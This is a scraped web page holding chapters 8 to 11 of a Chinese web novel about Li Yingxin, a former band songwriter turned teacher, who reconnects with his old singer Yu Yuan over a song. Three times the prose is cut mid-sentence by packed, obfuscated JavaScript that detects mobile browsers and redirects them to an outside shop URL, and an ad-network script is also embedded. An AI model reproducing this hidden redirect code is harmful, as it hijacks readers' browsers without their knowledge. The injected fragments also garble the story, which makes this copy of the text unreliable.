第一次演它,就让他遇到了俞沅。俞沅蹲在他边上哼唱,唱的也是他歌词里什么划过夜空的流星,声线却绝非用力到要燃烧殆尽的硬核摇滚低音炮,闲闲懒懒却又干净透明的少年音更像在星间悠闲穿行。就这么短短几句,李萤心在脑内给俞沅的歌声配上他们的伴奏,整首歌的质感都变了。 世界上唱歌唱得好的人遍地都是,但唱得好、声线辨识度还高的人要少得多。 李萤心那时候想,他一定要抓住这颗降落到他身边的流星,当然后来他也做到了。 俞沅成了常驻主唱之后,他们跑了很多拼盘演出,演了不少歌,每次都有这首。 演久了之后,一方面是乐器的演奏越来越熟练了,另一方面《夜这星》的现场也被乐迷录下来在网上引发了小范围的传播,再后来录音室版本的副歌部分陆陆续续被短视频平台的几个大博主当做BGM,于是这首歌也以燎原之势出圈了。 虽然是歌比人红,但他们好歹还是从需要倒贴钱发传单送小礼物拉人来看演出的小乐队,渐渐变成小圈子里被认为很有前景的未来之星——上了音乐节,虽然还只能在下午演出,也开了专场,在小型livehouse里开,每次都能卖完票,甚至有经济公司和综艺节目制作人前来联系。 大约这样过了一年,按正常的规划来说,新专新巡演都应该提上日程,实际上他们也一直在做这件事。夜这星算是以李萤心为核心的乐队,因为整个乐队只有他一个人有创作能力。 他写了很多很多首歌,信心满满地练、录音、发网易云、开巡演。 想象之中青云直上的天梯没有垂下来,眼前不是坦途,而是急转直下的低谷。 依然有固定的一群乐迷来听他们的歌,但以新专为主角的演出中,乐迷们虽然也配合着摇,却总是在互动阶段或者安可的时候要求夜这星再演一下《夜这星》。 大家只喜欢这首歌。 再过去一年,又一年,他们断断续续又发了些新歌,情况仍然如此,甚至比之前更糟糕了些,《夜这星》最火的时候过去了,他们的演出票也变得卖不太动。 网上的评论更加不留情面。 “新歌都一般般”“其实也还可以就是没什么记忆点不太适合传播”“感觉听完就忘了”“虽然现场表现还行,但歌确实有点子无聊,已经没有那种特别想买票看他们专场的心情了”“本来还期待他们小爆一下的,不过也还是年轻乐队,继续加油吧”…… 李萤心看着这些评论也无法反驳什么,歌写出来,评判权就在听众手上。他本能地想,他把歌写出来,自己和队友听着都觉着还行,不过也许他们的感受有误,平平的反馈才是真正的答案。他又开始思考,会不会他真的做了些很烂的东西,偏偏自我感觉良好……可是没有人是抱着生产垃圾的心态在写歌的,谁能教他做出好的音乐呢? 他试图按着众人的意见改变方向,加了新东西换了新风格,被说还是退回舒适区吧,按着《夜这星》的结构写了一首类似的,又被说是不是把这歌当成功模板想要一比一复刻,难道这辈子都要抓着这一首歌薅吗? 那是李萤心不愿回望的一段时间,那段时间,实在非常痛苦。 李萤心印象最深的一条评论是“这首歌的歌词跟判词似的,‘在最亮之后就将迎来坠落’,太不吉利了”,他有些以为然。 在反复失意的过程中,李萤心已经想不起写出《夜这星》的那一天,那种整个灵魂都要飘起来的感觉。他不太想面对这首歌了,演出时被cue到,队友们都默契地装作不知道听众的要求。 对听众来说,《夜这星》就是一首好听的歌而已,他们想听乐队演这首歌是再正常不过的诉求,也不太能理解这是乐队唯一一首拿得出手的歌,为什么这些人还端着不愿意演。 可对李萤心来说,这首歌不只是一首歌而已。 恨的是这首歌本身吗?实际上没有创作者会真的恨和厌烦自己的作品,恨的更多是止步不前、失去了才华的自己吧——甚至自身原本是否有才华,李萤心也持怀疑态度,说不定他本来就平庸,能妙手偶得一首好歌,也不过是灵感之神突发奇想给了他极其有限的眷顾。 不过好在现在的李萤心不再需要为这些问题烦恼,他已经不写歌不搞音乐了,他甚至可以为自己有过一首代表作而自豪——至少他还有这么一首歌呢。 他可以作为一个普通的听众,坐在中学的排练室一角,听孩子们的表演。 覃思明开始唱。他是这个乐队的主唱兼节奏吉他手。 十五六岁的小男孩模仿着俞沅的唱法,明明各方面声音条件都不相同,却努力往俞沅的样子凹,也不知道是不是徐斐然这么要求的。 “我从浩瀚宇宙间诞生/是夜幕抖落的一粒灰尘” “听见你的心愿/就启程” …… 是蛮好听的吧。李萤心想。一曲终了,他很不摇滚地给学生们鼓掌。几双眼都看向他,期待被赞许,想听意见,又怕被打击,几种情绪拧成一股小心翼翼,通过视线传递到李萤心这里。 还是和李萤心稍微熟那么一点点的徐斐然先问他:“老师,您觉得我们演得怎么样?” 要说的话,有不少技术上的瑕疵,贝斯手的指法不太熟练,经常来不及按下一个音,中间一段鼓的节奏乱掉了,主唱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742449|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实不模仿俞沅,用自己本来的声线来唱可能会更自如……诸如此类,李萤心也不是不能一一指出,不过作为一支刚成立的校园乐队,他们的表现已经足够优秀。而且李萤心还要保持住自己听不懂的人设,于是他说:“挺好听的。” 徐斐然又问:“老师之前听过这首歌吗?” 李萤心怔了怔:“……听过吧,不是还挺火的吗?” 在夜这星还活跃的那个时代,这首歌就红过一阵,不过仅限于独立音乐的小圈子。后来俞沅出道,大娱乐公司的包装和营销都是一等一的,更是把这首歌连同李萤心以前写的其他半死不活的歌都带火了。 还没等徐斐然接着开口,李萤心又摆出了他那师长架子:“好了,赶紧收拾一下回宿舍,明早早读别迟到。” - 再一次听到这首歌是在几周后的艺术节开幕式,时间到了五月,鲤州的天气已经热得能把人拧出一盆汗。还好开幕式在室内礼堂举行,空调温度适宜。 李萤心这次是坐在学校礼堂前排看的表演。 这支“还没想好叫什么乐队”压轴登场,一登台就引得全场欢呼,大家甚至不知道他们要演什么演得怎样,就开始为他们狂热……高中生有时候真是特别容易满足的一个群体。 孩子们换掉了蓝白色的校服,按他们自己的审美和理解搭上了很酷的装扮,平时受限于校规,徐斐然的头发都是整齐地扎起来,现在披散下来,化了很亚比的妆。 不过最多也就这样了,还是不够过激,李萤心在大学期间玩乐队时也披长发,而且是彩色的长发,隔一段时间他就换一个颜色,也化花里胡哨的妆,反正妆前妆后判若两人——贝斯手本来就很容易被无视,再不把自己搞显眼一点,别人还当他是路过的。 乐队成员演了一段intro,结束后和台下观众打招呼,介绍要正式表演的歌。 《夜这星》的贝斯前奏再次响起。 李萤心听得认真。 孩子们进步很大,许多初次被他听到的瑕疵已经改了,主唱的发声方式也明显改善。虽然整个练习过程李萤心没再跟进,但他拜托了学校里的音乐老师帮忙给孩子们进行一些指点,也从对方那里得到反馈,说他们练习很刻苦。 台下热烈的反馈也足以说明。 …… 演完这首歌后,“还没想好叫什么乐队”真的成为了鲤州三中的校园明星——不仅是校园明星,甚至在网络上他们也小有名气。 演出当天徐斐然不知道从哪里搞来很专业的设备录了现场——普通的手机录制可能录不太清楚贝斯的低频,可能因为徐斐然是个贝斯手,所以格外在意这点。 录完经过简单剪辑,她把视频传到了自己的各个社交平台上,然后火了。 翻唱《夜这星》的小乐队不少,还有些做了改编的,在B站搜关键词,出来的结果够翻上半天。说实话他们的表演在学校里或许挺引人注目,但出了校园,拿他们的表演跟别人比也没有多惊艳。 之所以唯独他们的翻唱视频脱颖而出,是因为《夜这星》的原唱俞沅转发了。 9. 第九章 最初刷到俞沅这条转发时,李萤心也是满头雾水,差点有冲动想问问俞沅是否手滑。 当然李萤心只是在心里想想,没去做这冒昧的事。没想到俞沅自己又把这一条视频发给了李萤心,还说:这好像是哥的学生。 距离上一次联系已过了一段时间,李萤心本来以为此人的对话框又会像之前那样沉底到下一个互相发节日问候的日子。 李萤心回他:哈哈哈,是啊。 俞沅:演得挺好的。 李萤心:哈哈哈,我也觉得还不错。 俞沅大概是正有空闲,李萤心也难得处理完工作正窝在公寓沙发上玩手机,两人一来一回尬聊起来。 说到这里已经有点不知怎么将话题继续下去,李萤心看对话框顶部一直在“俞沅”和“对方正在输入…”之间反复横跳,便没有退出页面,静静地等看看俞沅还有什么要说。 俞沅:转发是想鼓励一下。 李萤心没问出的问题,俞沅倒是自发地解释起来,不过李萤心觉得这个答案不太像真话,翻唱的人多了去了,怎么不鼓励一下别人。 接着俞沅又说:贝斯手挺眼熟的,好像来看了我演出? 俞沅:原来哥是把票给了她啊。 李萤心:对,我之前跟你说过的,她是你粉丝。 俞沅:我还以为你都不沾乐队相关的东西了。 起先李萤心觉得俞沅这句话和前面的话题风马牛不相及,很快又明白过来俞沅的意思,解释道:啊不是的,虽然他们视频上指导老师写了我的名字但是其实我没真的指导,只去看过一次排练。他们写我名字应该就是意思一下以示尊重。 又说:我现在啥也不会了,指导不了的。 觉得单这么说很生硬,李萤心补了一句:哈哈哈哈。 俞沅:这样。 俞沅:我看贝斯手小姑娘风格和你挺像的,还以为你带过她。 这次李萤心是真心实意地发问了:啊?有吗? 俞沅:有啊,跟你用一样的琴,跟你一样弹着弹着嘴就抿起来,头发披下来发型都差不多。 李萤心:有点牵强了哈哈哈哈。 李萤心一一驳回:芬达暗夜蓝虽然贵了点但也不小众,用这琴的人多了去了,抿嘴这个我倒是没观察过自己,不过也不是什么很特别的动作……头发这个更扯了,中分长发女生披发不都差不多那样? 俞沅很倔强:演奏风格也像你。 李萤心:照着我们的伴奏扒的呀,肯定像。 李萤心:一开始主唱小孩哥还模仿你的声线呢,后来改了。 俞沅:好吧。 李萤心往上滑,又复盘了一下刚才的对话,有那么一点后悔,虽然自己说的都是实话,可内容全在否定对方,多少有点扫兴。 他赶紧发了个从班群偷来的可爱表情过去补救,又说:不过你转发了他们的视频,他们肯定开心死了。 俞沅:开心就好。 俞沅:他们这个乐队之后还继续组吗? 李萤心:不知道啊,不过学生平时还是以学业为重吧,可能有什么晚会的时候会复活一下? 李萤心:你这么看好他们啊。 李萤心想着聊得还挺好的,开了个玩笑,然而这次聊天框里很久都没再弹出新的消息,久到李萤心觉得自己是不是应该说句“时间不早了早点休息”之类的结束对话,打字打到一半,俞沅又发来了信息。 俞沅:不是看好他们。 俞沅:是在想如果他们不继续组了,我下次不知道要找什么借口跟你聊天。 俞沅又引用了前一句:也不是不看好的意思,还这么小,未来有很多可能。 接着俞沅还认真点评了几句他们演奏中的优与劣,“不知道要找什么借口跟你聊天”这样的字眼就这样夹在那么多行字之间。 这其实是很微妙的一句话,人们面对想接近又难以接近之人常常会这么想,但被直接说给另一方听时,这句话可能会出现在损友互相调笑这样的场景,也可能是暧昧拉扯的人给感情的增稠剂……不管怎样,俞沅来说就很奇怪。 更何况,如果换做别人,说了这样的话总该停顿一下看看对方有什么反应,俞沅却好像不在意李萤心对此怎么看,自顾自地往下说。 看起来俞沅不需要李萤心对这句话作出回应,李萤心却分外在意起来。 他有很多搞不清楚的,他现在已经没那么了解俞沅了,俞沅说这句话就是字面意思吗?如果是字面意思,聊天需要找借口可能是因为现在不太熟,但平时没什么交集的两个人,俞沅又为什么会想找他? 李萤心坐直了身子,敲了一行字,问了:为什么要找借口和我聊天啊哈哈。 没想到俞沅说:还是想找你写歌,突然提起也太突兀了,又不是那种快结婚了出现一下要份子钱的。 李萤心:…… 李萤心:又在说笑呢。 俞沅:嗯,说笑呢。 李萤心想,算了算了,和其他久不联系的朋友也不是没有突然又聊起来的,没有必要因为对方是俞沅就考虑那么多吧。 李萤心接着俞沅那句没有什么笑点的玩笑话说:你要是结婚随时滴滴我啊,这几年我也小有积蓄,肯定会给你随个大的。 俞沅:不爱听。 李萤心:嗯? 俞沅:不爱听这话。 李萤心:也是,我们小沅正在事业上升期。 俞沅:已经事业瓶颈期了。 还附赠了一个哭哭的表情。 李萤心:怎么会? 俞沅这次打了很多字:上次不是和你说了要出专辑的事吗,曲库里找了很久都没找到合适的,和经纪人大吵一架,说我难伺候,让我干脆自己写,不然就别出了。 俞沅:所以我现在在尝试自己写,可是我根本就不会,对乐理什么的一窍不通…… 俞沅以前的确是不会乐理的,他本来就不是学音乐出身,因为偶然唱了几句,有得天独厚的好嗓音,被李萤心千方百计拉来给他当主唱。 在夜这星的舞台上,俞沅也不用像其他很多别的乐队主唱一样需要兼多一种乐器,因为他不会,他只需要唱歌。 不会看谱,每次李萤心写了新歌,除了把人声旋律部分单独用别的乐器来表现,还要先自己唱一遍教他。 其实李萤心是不太愿意教的,因为他唱歌老破音,换陈悦去教过一次,陈悦满脸怒容来找他,说俞沅笨得要死,他唱得喉咙都要冒烟了俞沅还学不会。 李萤心眉头紧锁,说你不想教也找好一点的理由,我们小沅聪明得很。 下一次就还是换回李萤心来。 现在俞沅成了专业歌手,看他之前的一些采访也有说在上声乐课……说对乐理一窍不通有点夸张了。当然上了声乐课跟会写歌也没什么必然的关系。 可能第一次写,不知道该从哪里下手。 李萤心虽然自己不写了,但还残存一些经验,他回复:先不想别的,你脑海里有什么想唱的旋律吗?有的话哼出来用手机录一下,再把旋律写出来? 发完后又觉得不对,俞沅团队那么多人,随便问个谁不比他专业? 不过话已经发出去了,而且俞沅看起来是认真向他求教,甚至直接哼了一段过来。 几十秒的语音,前面是悠扬的哼唱,一小段之后跟着一句话,俞沅说:“旋律写下来是没问题,就是完全不知道要怎么编曲,哥你可以帮我听听看吗?” 真好听。李萤心想,他很难拒绝为这样的歌声提出一些自己的建言。 两人一晚上的聊天好像从此刻才开始进入正轨——至少对于李萤心来说是这样的,他从那种每说一句都要斟酌再三的状态里脱离出来,把那段旋律听了又听,先用文字反馈了一点自己的想法。 俞沅总会在李萤心的回话中挖出一些点来询问,两人越说越起劲,后来不知怎的干脆连了麦,说到后面李萤心感觉连语言都很难准确表达他想告知对方的效果,急得说了句:“我现在电脑里没Cubase不然我高低搭个分轨……” 然后对面传来轻轻的笑声。 李萤心顿了顿,中计了。 什么不会乐理不会编曲啊,在这儿等着他呢。李萤心也笑了:“你这个……” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742450|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我这个什么?”俞沅又说,“安装一个编曲软件吧。” 不用俞沅说,来感觉之后李萤心自己也想把各种做歌的软件装回来,实在不行先用手机APP当一下平替也可以。他对做音乐从来不是分手了不想见到前任的那种逃避,他只是怕做不好而已……而且这样长的一段时间里,他的脑子总是木木的,偶尔有些模糊的想法,音符和音符之间很难被组成完整的乐句,加之工作确实忙,所以他很久没再搞这些。 但他也不是不能试一试…… 当然,他还是怕做不好,而且他认为做不好的概率很大。他想就算他明天就飞速整出了一整首编曲,他应该也不会给任何人听。那么就没必要去答应俞沅,免得人家白期待一场。 李萤心其实没困,聊着聊着他就精神了,但是他故意打了个呵欠,没正面回应俞沅的问题:“都十一点了,我明天还要去看早读,先不说了,早点休息吧小沅。” 俞沅也没拦着他:“晚安……哦对了。” “什么?” “你学生要是喜欢我,我寄几张to签之类的过去他们会不会更开心?要不你给我个地址……” 李萤心赶紧拒绝:“别,别惯着他们。”不惯着是一回事……他不想让学生知道他有认识的大明星。 …… 几天后李萤心在第无数次看到徐斐然上课鬼鬼祟祟的样子时,实在是忍无可忍了。 他把徐斐然自以为将她挡得很严实的、课桌前的一大叠课本挪开,人赃并获。李萤心眼神冰冷,向她摊开手:“手机拿来。” 周围有些窃窃私语声,李萤心转头看了他们一眼,所有声音都消失了。 徐斐然大概太紧张了,把手机递过去时甚至忘了锁屏,上面还是她的微博消息提醒页面——看起来被俞沅转发之后过了这么些天,还是不断有人关注她,在她的微博留言。 一个来自偶像的转发就够小孩这么多天心绪不宁,比前段日子排练时有过之而无不及,要是李萤心当时真从俞沅那里拿了to签那还了得? 当着全班面呢,李萤心也没多说了什么,替徐斐然按了锁屏,把手机拿回讲台上放着,继续讲课。下半节课整个班安静得连隔壁老师的慷慨陈词都能听见。 下了课,李萤心看向明显煎熬了半天的徐斐然一眼,小孩视线和他对上之后就垂着脑袋蔫蔫地跟着他走向办公室。 李萤心坐回工位喝了口水,讲了一节课喉咙快废了,说实话老师是最不想在下了课之后还要继续训学生的人,别说训学生,连话都不想讲,但没办法。 李萤心开门见山:“你知道带手机来学校是要停课的吧?” 徐斐然声音像蚊子哼哼:“知道。” 李萤心发挥班主任必修功法之一阴阳怪气:“您是有什么重要公务一定要带手机来学校,还要在上课的时候处理?” 一般情况下学生听到这种话都会乖乖挨训,结果徐斐然竟然很耿直地回答:“有个综艺节目的制作人发私信给我,我觉得不能怠慢人家……” 李萤心头很疼。 从“不要被一时的热度蒙蔽”“私信你的人可能是骗子”再到老生常谈的“你们现在是学生要以学习为重”,苦口婆心地说了半天,说得徐斐然毫无招架之力只能连连点头。 以为这孩子总算听进去一点,结果前面所有的点头都只为了在他说完以后来上一句:“老师,我都知道了,我把手机交给您,您能不叫家长吗?” 表情看起来还很可怜。 李萤心怒火中烧:“不行。” 校纪校规如此,不管合不合理——而且上课不许玩手机这种条例对大多数学生来说怎么都不算不合理——也不管你喜不喜欢,在这个环境里,就应该遵守相应的规则。 但李萤心依稀还是记得徐斐然的妈妈比较严格。他把手机递过去,努力给了她一些暗示:“你自己打电话跟你家里人说,爸妈忙的话就叫你小姨过来。” 徐斐然夹着尾巴卑微打完电话之后老老实实把手机递给李萤心,等待接下来的发落,李萤心揉着太阳穴,问她:“你说的那综艺节目和制作人的名字分别叫什么?” 10.第十章 李萤心问来一个没听说过的综艺名,据说是在筹备中的新项目,节目的导演严宇……则算得上是他认识的人。 三年多前夜这星差点也要上综艺。那几年各种音乐垂类综艺层出不穷,搞说唱的玩电音的唱民谣的,平台也许真是为了挖掘好音乐,也可能是为了造星割韭菜,总之将独立音乐圈子起了个底。 摇滚或者说乐队自然也是平台不会放过的香饽饽。乐队节目《24小时摇滚派对》*应运而生,播完一季又要筹备第二季。 其实这节目第一季时压根请不到太多乐队,玩摇滚的人总是有些傲气的,去录节目意味着向商业化和各种条条框框低头。然而此节目播出第一季以后反响极好,许多哪怕只在初舞台露了个脸的小乐队演出费也水涨船高。 在实打实的利益面前,很多乐队还是弯下了腰。 夜这星几人也不能免俗。 李萤心十八岁上大学,和一同考到鹭州的好友陈悦一起,在学校里招到不太爱开口但是鼓打得很结实的石含章。起先还是翻唱别人的歌,后来李萤心磕磕绊绊地开始学着自己写,招不到满意的固定主唱,有时候由陈悦来唱,有时候是其他来打临时工的节奏吉他手或者键盘手兼一兼。 二十一岁,李萤心大四了,乐队在这一年迎来一个年轻的主唱,和一首传唱很广的歌。 二十二岁,李萤心留在本校读研,没事就去本科生宿舍骚扰俞沅,陈悦在鹭州找到一份工资一般但胜在有双休还不用加班的工作,石含章在好几个乐队兼职分演出费,偶尔去什么架子鼓培训班当老师,大家都有光明的未来。 二十四岁,乐队不温不火,演出回不了本。俞沅还在享受大学时光的尾声。李萤心刚毕业,顶着压力没去找工作,不敢花太多钱,租了十几平米的小房间当自己的住处兼工作室,房间里除了床就是电脑和他用来做歌的各种工具。陈悦的公司裁员裁了一轮又一轮,终于轮到了他。石含章一如既往,但李萤心不小心听到他家人给他打来电话,说他要是再这么在外面混就不如回西北老家。 乐队想要做下去总要想办法,他们向正在招募新一季参演人员的《24小时摇滚派对》投了简历,总归也算小圈子里有过姓名的乐队,很快通过了初筛。 收到通知那天高兴吗?李萤心没什么印象了。想来是没有太大情绪起伏的,如果是高兴的事,他能记好久。 但他记得他当时把陈悦找出来,两人坐在鹭州大学校园内的海滩边上,李萤心看着如织的游人和学生,欢声笑语伴着海潮涌向他们,但这些笑和快乐好像只是给他听一听,没能在他身上留下来。 陈悦是最先提出不想继续的人,李萤心几乎是带着些哀求,把节目组发给他的邮件给陈悦看,说再坚持一下吧,哪怕第一期演完就被淘汰了,大家的境况也会好很多的。 陈悦说好。 然后他们紧锣密鼓地开始筹备,节目组派来和他们对接的PD就是严宇,那时候他还没能做到一个节目的总导演。 严宇说复试阶段要展示一下乐队的创作能力——李萤心是敏锐的,他明白节目组想要的创作能力,不一定是真的要他们创作出什么惊天地泣鬼神的好作品,而是要话题度又或者能讨好观众的耳朵。 原本创作应该是很私人的一件事,好坏都是自己的,李萤心为了能上节目,做了一件也说不上错……但确确实实令他后悔到现在的事。 他去联系严宇,他说严老师您好,咱们节目需要什么类型的歌呢,我都可以尝试一下。 还说,希望您能指点一二。 尽管显得谄媚,可所有做项目的人都喜欢这种配合度高的合作方,聊了几个回合之后严宇也的确给他提了许多“建议”,发了些可供他参考的曲目。 严宇还好心地把那些热门单曲走红的诀窍拆解开来告知李萤心,说得没那么直接,但大体意思就是如此:现在火的歌要么就是搞些洗脑的旋律,歌词不知所云没关系的,听众觉得你有深度,自己会帮你写长篇大论解读的。要么就使劲往艰涩难听了写,使劲到时候网上找人一带节奏,说要听得懂这歌是得有一定门槛的,觉得难听那是你没水平。 实在不行还可以走心嘛!人类的悲喜并不想通,可谁没有个失恋啊想爸想妈想外公想外婆啊理想破灭之类的经历呢?卖惨卖得好的话,歌写得一般也没关系,网易云评论区自有人为你哭倒一片长城。 李萤心说受教了。 李萤心又想,他也没有觉得别人写那样的歌有什么不好,也许有些人是不断在套用公式敷衍写歌,但上述既被严宇嘲笑又被严宇渴求的歌,也可能是一些人的心血。李萤心没有什么资格——也从来不会看不上别人的音乐,每个人都有权利写各种各样的歌,听众也是真实地需要着它们。 可他要是天生就喜欢写那样的歌就好了,至少在照搬别人的公式写歌时他就不会那么痛苦了。 李萤心带着新歌去排练室,同往常一样,俞沅枕在他腿上练唱,陈悦就着俞沅的哼唱拨弦时挑了挑眉但也没发表什么意见,石含章人如其名,沉默得像颗石头。 各自学会以后就开始练,排练到第二遍还是第三遍的时候,打完一个开镲,石含章用力地把鼓棒扔在镲片上,发出刺耳的嗡鸣,其他所有人都停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749847|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来。 总是不开口、总是对所有人的要求都默默点头的鼓手第一次在队友面前发火。 他的声音近乎于喊,他说我们就非得写这样的歌——非得演这样的歌不可吗?我真的受够了。什么b节目我也一点都不想参加。 俞沅冷着脸让石含章道歉,石含章说我说错什么了吗,俞沅重复“给他道歉”四个字,看起来下一秒就要冲过去揍人。 李萤心赶紧把俞沅拉过来,一手捏紧了自己的背带,另一手放在俞沅背上一遍遍地安抚对方,直到感觉对方呼吸时的起伏变得平静下来。 然后他笑眯眯地说,好啦,不想参加那就不参加了,本来就是报名报着玩嘛。 当然事后石含章还是道歉了,说自己不该那样说话,李萤心说没事,还好你骂醒了我,不然就要为了上节目失去尊严了。 说是这样说,可李萤心是个很擅长咬文嚼字的人。 搞不好是过度解读,但李萤心后来总忍不住想,就这么一首歌而已,只排练了两三次而已,至于用到“受够了”这样的词吗,想必石头平时也忍他的烂歌很久了吧。 错失了这次机会后夜这星又坚持活动了几个月,新的歌再没写出来,也没什么转机,没混出名堂的校园乐队解散是很自然不过的事。 毕竟没有永恒燃烧的流星。 现在他是一名光荣的人民教师,陈悦前阵子刚做了个大项目还请他吃了饭,石头回老家做着小本生意,俞沅在当大明星。大家真的都有光明的未来。 …… 徐斐然是个机灵鬼,果然叫的是她小姨。晚间,年轻的女士来到政教处接孩子时,李萤心照例还是强调了校纪校规,非常严肃地说了些“家长要配合我们学校做好学生管理工作,停课是为了让孩子深刻认识到自己的错误,在家这几天功课一样不能落下”之类的话。 内心实在担忧,李萤心又反复提醒家长要谨慎对待网上的信息。 处理完这些七七八八的事,回班里散发了一番威严,李萤心回到公寓。 先前俞沅哄骗他编曲,他还真搞了点东西出来,只不过当俞沅再来问时,他第一次说太忙了,第二次说现在电脑太破了软件都带不动。俞沅就没再问第三次了。 怕自己水平低,而且怕俞沅不嫌弃他水平低……这人要是再像之前那样,直接把他做的编曲改都不改拿去用的话,他会很崩溃的。 可这时候分享欲又上来了,时隔多年搞出来一点新成果,不想被广而告之是真,想得到点反馈也是真。 李萤心把导出来的文件拖到陈悦的对话框里:悦总,点评一下。 11.第十一章 现代流行乐旋律部分一般总会规整地分为两段差不多的主歌加一段副歌,然后再循环,哪怕俞沅不想做这么规整的歌,他在电话里哼给李萤心听的那一小段也不太足够凑成一首完整的歌。 当然从头到尾就几个乐句循环到死的歌也不是没有,写歌嘛随心所欲,怎么写都是创作者内心世界的表达,也有听众评价过喜欢听俞沅的歌的一个重要因素是根本猜不到他的下一句会怎么编(毕竟他的歌都是乐队作品,和大部分流行乐是有点不同)。但考虑到俞沅如今的定位,他的身份到底还是“歌手”而非“独立音乐人”,最大限度地让歌曲展示他的好嗓音很重要。 抛开这些,李萤心也能感觉到俞沅哼给他听的内容仅仅是一些碎片而绝非全部——如果他没感觉错的话。 俞沅就好像塞了几片拼图到他手里,但完整的图景应当更为广阔,李萤心有一种冲动,想以自己脑海中跃动的音符为颜料,涂满俞沅的画。 他也偷偷地这么做了。 音乐其实是种语言——这样说可能会让人云里雾里,但很多时候听到一段音乐,在没有歌词的情况下,人也能直面其中澎湃的情绪,甚至凭借音乐幻想出与现实千差万别的场景。 李萤心听俞沅那段哼唱时就是如此。很传统的和弦走向,有点接近本地的民间小调,李萤心无端联想小时候听过的歌仔戏。进而一幅行船人在海上漂泊的场面在他的想象中铺开。又因为手机传过来的录音多少有一点失真,这段旋律在李萤心听来就像收音机里远行之人从海上传回的一封声音信。 信件总是有来有往。尽管俞沅的来信并不一定是给他,可能并无指定收件人,但续着他的旋律往下写的李萤心就像写回信之人。他在编曲软件里搭好旋律轨道,先用笛子声代替人声,把俞沅哼的那部分和自己新加上的部分交替,就像在一问一答互相喊话。 写的过程出乎意料地顺利,倒是编曲部分李萤心想了好几天,最后还是决定按他最初听见这段哼唱时的直觉,把俞沅的部分加上些低保真的处理,让他的唱段听起来更加遥远,甚至还加上了一些不太明显的海浪涌动声和桅杆被拉动的环境音。 而自己补上的部分——因为自己在这个想象中的场景是站在岸上收信的人,此处贝斯除了当底,还被用来模仿了潮水拍岸的声音。 不过还没完,他还没拿好主意要加上哪些弦乐来补完情绪。这也是他想先找个人帮他听听的原因。 就像俞沅发出的信不晓得会被谁捡到,李萤心也觉得回信并不一定要交付到对方手中,就像扔漂流瓶一样,漂到哪是哪……好吧,他直接把漂流瓶先递给了陈悦。 陈悦收到李萤心发来的文件,首先甩来一个问号。 李萤心回复:本人拙作,我感觉间奏可以加一段弦乐,但是拉了几个音源来试都觉得好违和。 于是陈悦发来了更多的问号,并问今夕是何年。 李萤心发了个扇巴掌的表情过去,稍微解释了一下前因后果。 陈悦:那你怎么不直接发给他听?? 李萤心:不想,你也别转发给他昂。 配上一个“拜托拜托”的表情。 陈悦:收到[玫瑰] - 陈悦反手就把李萤心编的这段未完成品转发给了俞沅。 他自认不是个靠不住之人,一般来说答应了朋友的事就要做到,这是基本的道德。可如果为了更大的道德,比如让朋友振作起来……那么偶尔背叛一下朋友应当也可以被原谅。 是,他想让李萤心振作起来。 其实以一般的眼光去看李萤心,没有人会觉得他“不振作”,对工作抱有很高热情,全情投入教学工作中,热爱生活且自律,寒暑假陈悦约他去喝酒,他会说不要喝太晚第二天早上他还要起来跑步。 可陈悦知道这才是李萤心的不振作。 他原本是个不愿意困在几点一线生活中,对所有事情充满好奇心和表达欲的人,就像他以前的名字一样,他是一块水晶,喜欢这个世界也折射出这个世界缤纷的色彩。 然而如今他给世界的留言只剩下朋友圈里几句“梦想起航,再创辉煌!鲤州市第三中学艺术节将于5月15日隆重开幕,欢迎各位家长莅临参观”。 陈悦有每每想起就后悔不迭的事,就是两次跟李萤心说搞乐队没前途赚不到钱要活不下去了解散了吧,干什么不比搞乐队好啊,你也别写那破歌了,也别跟我似的出来扑腾,考个编吧,稳定终身。 诚然世间无不散的宴席,可如果那时候他说的是我们先缓一缓之类的话……虽然不该站在更成熟的年龄段去指责过去的自己,再来一次陈悦可能还是会说出这样的话。 他和李萤心不同,虽然从高中开始就是他撺掇着李萤心搞乐队,但他仅仅是因为小时候喜欢看《轻音少女》喜欢平泽唯所以想组乐队,他没有那么强烈地需要靠音乐来表达情感建立和世界的链接,不做乐队了他也有些淡淡的感伤,但他觉得朋友还是能联系,他的生活也没有很大改变。 可是他们的水晶开始失去了光彩。 在李萤心不知道的时候,俞沅找他打过一架,就在他们乐队正式说散了之后的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一段时间。一开始陈悦破口大骂说甘霖北你发什么癫,也狠狠揍回去,但是看到俞沅流着眼泪说“你们把他还给我”的时候他也泄了力,两个人坐在一起哭,场面异常滑稽。 然后俞沅说,其实也不能怪你们。 